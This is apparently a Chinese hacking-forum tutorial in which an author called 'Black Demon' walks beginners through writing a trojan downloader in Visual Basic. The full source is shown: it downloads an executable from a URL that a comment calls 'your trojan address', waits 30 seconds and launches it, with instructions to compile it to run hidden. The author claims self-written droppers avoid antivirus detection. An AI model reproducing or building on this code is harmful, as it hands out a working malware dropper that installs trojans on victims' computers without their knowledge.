我收集的几个下载者代码 大家看看学习学习就好了别搞破坏哦

				大家好，我是黑色恶魔，今天教各位朋友用VB编写一个下载者。（菜鸟教程，高手请跳过）
				  网上有不少下载者，看的我们目不暇接，不过不爽的是用哪个都要自己改免杀,用着也提心吊胆的，那么你想没想过自己编写一个下载者呢。
				  其实下载者的原理很简单，我们自己做一个简陋一点的是一点问题都没有的，看看我们怎么用VB来写一个吧。
				
				代码如下：
				Option Explicit
				'这个的意思是要求变量必须声明后才能使用
				Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
				Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
				Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
				'这三个是函数声明
				
				
				Private Sub Form_Load()
				URLDownloadToFile 0, "http://127.0.0.1/1.exe", "c:\2.exe", 0, 0  '第2个参数是你的木马地址，第3个是保存的位置，其他默认就可以
				Sleep 30000 '单位是毫秒，我这里是挂起30秒
				ShellExecute 0, vbNullString, "c:\2.exe", vbNullString, vbNullString, vbNormalFocus 'ShellExecute的第2个参数是你要运行的文件，也就是我们下到本地的木马地址了
				end ‘退出
				End Sub
				
				这里我是下载http://127.0.0.1/1.exe，然后保存到c:\2.exe
				
				我们把文件的运行方式设置为隐藏运行，编译一下，就OK了
				。。
				我给大家演示一下效果。。。等待30秒。。。成功了吧
				虽然简陋了一点，不过效果还可以吧，呵呵，关键是这个是自己写的绝对是不会被杀的哈